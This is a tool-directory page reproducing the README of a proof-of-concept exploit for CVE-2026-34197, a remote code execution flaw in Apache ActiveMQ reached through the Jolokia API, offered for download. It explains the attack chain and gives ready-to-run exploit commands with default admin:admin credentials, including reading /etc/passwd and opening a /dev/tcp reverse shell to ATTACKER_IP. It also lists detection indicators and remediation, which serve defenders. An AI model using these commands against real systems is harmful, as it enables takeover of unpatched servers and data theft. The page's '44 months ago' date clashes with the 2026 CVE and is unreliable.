Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-34197 — Proof-of-concept exploit for CVE-2026-34197, an RCE in Apache ActiveMQ via the Jolokia API. Includes a Python exploit, payload template, and Docker lab for testing and research. | Kitploit
Tools/GitHubGitHub/devsecurityspro/cve-2026-34197
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingLabs & Practice
GitHubdevsecurityspro/cve-2026-34197

CVE-2026-34197

Proof-of-concept exploit for CVE-2026-34197, an RCE in Apache ActiveMQ via the Jolokia API. Includes a Python exploit, payload template, and Docker lab for testing and research.

View Repository
44 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-34197 — Apache ActiveMQ RCE via Jolokia API

Description

CVE-2026-34197 is a remote code execution (RCE) vulnerability in Apache ActiveMQ Classic that allows an attacker to execute arbitrary commands on the server's operating system through the Jolokia API exposed on the web console.

The vulnerability has existed for more than 13 years and resides in the interaction between multiple components: Jolokia (HTTP-JMX bridge), ActiveMQ MBeans, network connectors, and the VM transport.

Vulnerability Information

FieldDetail
CVE IDCVE-2026-34197
TypeRCE (Remote Code Execution)
CWECWE-20 (Improper Input Validation), CWE-94 (Code Injection)
Affected versionsActiveMQ Classic < 5.19.4, 6.0.0 — 6.2.2
Patched versions5.19.4, 6.2.3
Authentication requiredYes (default credentials admin:admin common)
No authentication on6.0.0 — 6.1.1 (due to CVE-2024-32114)
Default port8161 (web console)

Exploitation Mechanism

The attack chain works as follows:

  1. The attacker sends a POST request to /api/jolokia/ invoking the addNetworkConnector operation of the broker's MBean.
  2. The argument contains a URI with vm:// transport referencing a non-existent broker.
  3. ActiveMQ attempts to create that broker on the fly and accepts the brokerConfig parameter pointing to a remote URL.
  4. The xbean: scheme indicates that the resource is a Spring XML configuration file.
  5. Spring instantiates all beans defined in the XML, including one that executes Runtime.getRuntime().exec().
  6. The arbitrary command is executed on the server.
root@kitploit:~
Attacker                          ActiveMQ (victim)
   |                                    |
   |-- POST /api/jolokia/ ------------>|
   |   addNetworkConnector(            |
   |     vm://rce?brokerConfig=        |
   |     xbean:http://ATTACKER/x.xml)  |
   |                                    |
   |                                    |-- Creates VM broker
   |                                    |-- Downloads x.xml
   |<-- GET /x.xml --------------------|
   |-- Responds with XML payload ----->|
   |                                    |-- Spring instantiates beans
   |                                    |-- Runtime.exec(COMMAND)
   |                                    |

Project Structure

root@kitploit:~
CVE-2026-34197/
├── README.md              # This file
├── exploit.py             # Main PoC
├── payloads/
│   └── template.xml       # Spring XML payload template
├── docker/
│   └── docker-compose.yml # Vulnerable lab environment
└── LICENSE

Requirements

  • Python 3.8+
  • Modules: requests, http.server, argparse (stdlib)
  • Network access to port 8161 on the target
  • Docker and Docker Compose (optional, for the lab)
root@kitploit:~
pip install requests

Usage

1. Set up the vulnerable environment (optional)

root@kitploit:~
cd docker
docker-compose up -d

This starts a vulnerable ActiveMQ Classic 5.18.6 on localhost:8161.

2. Run the exploit

root@kitploit:~
# Basic usage with default credentials
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"

# Specify credentials
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p admin

# Specify the payload HTTP server port
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"

# No-authentication mode (ActiveMQ 6.0.0 - 6.1.1)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth

# Reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Parameters

ParameterDescription
-t, --targetTarget base URL (e.g., http://10.0.0.1:8161)
-l, --lhostAttacker IP to serve the XML payload
-lp, --lportLocal HTTP server port (default: 8888)
-c, --commandCommand to execute on the target
-u, --userUsername (default: admin)
-p, --passwordPassword (default: admin)
--no-authDo not send credentials (for versions 6.0.0 - 6.1.1)
--broker-nameBroker name (default: localhost)

Detection

Indicators in the ActiveMQ broker logs:

root@kitploit:~
INFO  | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN  | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml

Other indicators:

  • POST requests to /api/jolokia/ with addNetworkConnector in the body
  • Outbound HTTP connections from the ActiveMQ process to unexpected hosts
  • Unexpected child processes spawned by the ActiveMQ Java process

Remediation

  • Upgrade to ActiveMQ Classic 5.19.4 or 6.2.3
  • Change the default web console credentials
  • Restrict network access to port 8161
  • Monitor broker logs for vm:// URIs with brokerConfig=xbean:http

References

  • NVD — CVE-2026-34197
  • Horizon3 — Technical analysis
  • Apache ActiveMQ — Security advisory
  • CVE-2024-32114 — Unauthenticated Jolokia
  • CVE-2023-46604 — OpenWire RCE (CISA KEV)

Author

Created by KONDOR DEV SECURITY

Telegram

Legal Notice

This PoC is provided exclusively for educational and security research purposes. Using this tool against systems without explicit authorization is illegal. The author is not responsible for any misuse of this tool.

License

MIT — Copyright (c) 2026 KONDOR DEV SECURITY

Download Tool